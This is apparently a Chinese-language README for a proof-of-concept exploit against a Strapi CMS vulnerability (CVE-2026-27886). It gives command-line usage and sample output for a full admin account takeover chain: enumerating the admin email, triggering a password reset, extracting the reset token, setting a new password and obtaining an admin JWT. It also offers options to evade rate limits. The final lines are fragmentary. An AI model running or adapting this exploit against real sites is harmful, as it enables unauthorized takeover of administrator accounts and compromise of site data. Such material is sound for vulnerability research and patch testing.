Strapi CMS 中 CVE-2026-27886 的完整账户接管 PoC
通过 4 组 HTTP 请求自动完成完整的账户接管链:
检查目标是否存在漏洞而不进行利用:
./cve-2026-27886-exploit.py https://target/api/articles --verify-only
如果你不知道管理员邮箱,自动化所有步骤:
./cve-2026-27886-exploit.py https://target/api/articles
输出:
[+] Target: https://target/api/articles
[+] Base URL: https://target
[*] Verifying vulnerability...
[+] Vulnerable: baseline=12, where_test=0
[*] Enumerating admin email...
[email protected]
[*] Triggering password reset for [email protected]...
[+] Password reset triggered (HTTP 204)
[*] Extracting 40-char reset token...
[100%] d1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a
[*] Resetting password with stolen token...
[+] Password reset successful!
[+] JWT: eyJhbGciOiJIUzI1NiIs...
[+] User: [email protected] (ID: 1)
[+] SUCCESS! Admin account compromised.
[+] JWT Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
如果你已经知道管理员邮箱(节省约500次请求):
./cve-2026-27886-exploit.py https://target/api/articles \
--email [email protected]
设置自定义密码替代默认密码:
./cve-2026-27886-exploit.py https://target/api/articles \
--email [email protected] \
--password "MyPassword123!"
如果目标有速率限制:
./cve-2026-27886-exploit.py https://target/api/articles \
--delay 0.1
这会在每个请求之间增加100毫秒延迟(完整利用大约需要2-3分钟)。
如果 /admin/* 端点位于不同的主机上:
./cve-2026-27886-exploit.py https://api.target/articles \
--base-url https://admin.target
https://target/api/products、https://target/api/articles 等updated_by_id 外键)--delay 0.05 或更高值本脚本: